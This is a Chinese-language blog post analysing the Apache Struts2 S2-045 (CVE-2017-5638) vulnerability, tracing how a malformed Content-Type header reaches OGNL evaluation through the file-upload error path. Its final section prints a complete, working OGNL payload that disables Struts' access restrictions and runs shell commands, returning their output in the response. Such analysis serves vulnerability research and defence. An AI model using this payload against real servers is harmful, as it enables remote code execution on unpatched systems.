Lucifaer's Blog.

S2-045(CVE-2017-5638)分析

Word count: 1,687 / Reading time: 7 min
2018/12/12 Share

S2-045,一个很经典的漏洞,和网上已经有的分析不同,我将整个漏洞的触发点和流程全都理了一遍,感觉收获良多,算是能自己说服自己的分析了。

0x00 漏洞描述

Problem
It is possible to perform a RCE attack with a malicious Content-Type value. If the Content-Type value isn’t valid an exception is thrown which is then used to display an error message to a user.

-w756

从漏洞简述中可以得知是struts在处理Content-Type时如果获得未期预的值的话,将会爆出一个异常,在此异常的处理中可能会造成RCE。同时在漏洞的描述中可以得知Struts2在使用基于Jakarta Multipart解析器来处理文件上传时,可能会造成RCE。

Jakarta Multipart解析器在Struts2中存在于org.apache.struts2.dispatcher.multipart.JakartaMultiPartRequest是默认组件之一,首先把这一点记录下来。

接下来看一下diff:

可以看到关键点在于首先判断validation是否为空,若为空的话则跳过处理。可见关键点在于对于validation的处理。

0x01 整体触发流程

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
MultiPartRequestWrapper$MultiPartRequestWrapper:86 # 处理requests请求
JakartaMultiPartRequest$parse:67 # 处理上传请求,捕捉上传异常
JakartaMultiPartRequest$processUpload:91 # 解析请求
JakartaMultiPartRequest$parseRequest:147 # 创建请求报文解析器,解析上传请求
JakartaMultiPartRequest$createRequestContext # 实例化报文解析器
FileUploadBase$parseRequest:334 # 处理符合multipart/form-data的流数据
FileUploadBase$FileItemIteratorImpl:945 # 抛出ContentType错误的异常,并把错误的ContentType添加到报错信息中
JakartaMultiPartRequest$parse:68 # 处理文件上传异常
AbstractMultiPartRequest$buildErrorMessage:102 # 构建错误信息
LocalizedMessage$LocalizedMessage:35 # 构造函数赋值
FileUploadInterceptor$intercept:264 # 进入文件上传处理流程,处理文件上传报错信息
LocalizedTextUtil$findText:391 # 查找本地化文本消息
LocalizedTextUtil$findText:573 # 获取默认消息
# 以下为ognl表达式的提取与执行过程
LocalizedTextUtil$getDefaultMessage:729
TextParseUtil$translateVariables:44
TextParseUtil$translateVariables:122
TextParseUtil$translateVariables:166
TextParser$evaluate:11
OgnlTextParser$evaluate:10

0x02 漏洞分析

2.1 漏洞触发点

根据diff所得结果,跟进validation的执行流程,就如漏洞描述中所述,validation的调用位于Struts2的FileUploadInterceptor也就是处理文件上传的拦截器中。

跟进LocalizedTextUtil.findText

这边先不着急向下跟,首先看一下valueStack的内容是什么:

通过键值关系从ActionContext中返回ognl的堆栈结构,也就是说valueStack和ognl的执行相关。

接下来跟进findText方法,着重跟一下valueStack,可以发现主要是以下方法调用到该值:

1
2
3
4
findMessage()
getMessage()
getDefaultMessage()
ReflectionProviderFactory.getInstance().getRealTarget()

先不管ReflectionProviderFactory.getInstance().getRealTarget()findMessage()在执行过程中都会调用到getMessage(),而在getMessage()getDefaultMessage()中都存在buildMessageFormat()方法,该方法用于消息的格式化,而格式化的消息是由TextParseUtil.translateVariables()来生成的:

这里注意getMessage()方法需要设置bundleName这个参数,而这个参数是由aClass赋值的,而在整个触发流程中aClass是一个File异常类,而这个类在Collections.java中是找不到的,所以在执行过程中,所有的getMessage()findMessage()都是返回null的,也就是说,在整个流程中,只有getDefaultMessage()会被触发。

跟一下这个TextParseUtil.translateVariables()的具体实现:

可以看到首先对defaultMessage进行ognl表达式的提取,之后执行ognl表达式。所以漏洞的触发点就找到了。且触发的关键是构造一个含有ognl表达式的defaultMessage即:

2.2 触发流程

网上很多文章并没有说该漏洞的触发流程是什么样的,只是在上面的关键点下了一个断向下调试,所以只是完成了对这个流程的调试而已,并没有完整的把这个漏洞说清楚的原因(浮躁的圈子= =)。

我记录一下我根据单元测试而找到触发流程的过程。

根据2.1的分析,我们现在知道只要调用了org.apache.struts2.interceptor.FileUploadInterceptor$interceptrequest触发错误处理流程,且validation不为空就可以触发ognl表达式的执行。所以首先我开始寻找哪里调用了intercept()这个方法:

如上图红框的内容,我找到了针对于FileUploadInterceptor的单元测试,在单元测试中详尽的描述了intercept()的处理流程,跟进看一下我找到了一个有趣的单元测试testInvalidContentTypeMultipartRequest()

还记得我们的intercept的处理流程么:

也就是说我们需要关心的只有MyFileupAction()与request的处理流程

首先来看一下MyFileupAction()是否是ValidationAware接口的一个实例:

ok,是ValidationAware一个实现,getAction()方法将setAction()设置的对象返回。接下来我们跟一下req的处理流程:

1
2
3
-> createMultipartRequest(req, 2000)
-> new MultiPartRequestWrapper(jak, req, tempDir.getAbsolutePath(), new DefaultLocaleProvider())
-> this(multiPartRequest, request, saveDir, provider, false);

关键点在于multi.parse(request, saveDir);根据调用栈,可以看到这里是调用了JakartaMultiPartRequest实例的parse()方法:

这里注意会捕获FileUploadException异常。

接着跟进processUpload()方法:

继续跟进:

首先看createRequestContext()对于请求做了哪些处理:

返回了一个实例化的RequestContext(),记住该实例有四个内置的方法:

  • getCharacterEncoding()
  • getContentType()
  • getContentLength()
  • getInputStream()

接着跟进parseRequest()

跟进getItemIterator()

继续跟进:

这一段代码首先调用了RequestContext实例的getContentType()方法,该方法就像上面调用栈中所看到的一样,会返回请求的ContentType字段,然后做一个存在性校验,校验ContentType是否为空或并非以multipart开头,如果上述条件成立,则抛出一个错误,并把错误的ContentType加入到报错信息中。这里的InvalidContentTypeException类是继承于FileUploadException的,也就是说会抛出一个FileUploadException的错误。

反过来看JakartaMultiPartRequest的异常捕获逻辑:

很有意思,我们直接跟进buildErrorMessage看一下:

可以看到在这里,我们将包含着我们可以自定义的ContentType赋值给defaultMessage回看2.1所说的漏洞触发点,这里就是我们发送请求将ognl传递到漏洞触发点的defaultMessage

拆分消息中的ognl表达式,并执行:

0x03 构造POC

根据上面的分析,我们可以看到构造POC的关键是在发送的请求中构造一个含有ongl表达式的ContentType。较为通用的一个poc如下:

1
"%{(#nike='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='open /Applications/Calculator.app').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}"

效果如下:

0x04 Reference

CATALOG
  1. 1. 0x00 漏洞描述
  2. 2. 0x01 整体触发流程
  3. 3. 0x02 漏洞分析
    1. 3.1. 2.1 漏洞触发点
    2. 3.2. 2.2 触发流程
  4. 4. 0x03 构造POC
  5. 5. 0x04 Reference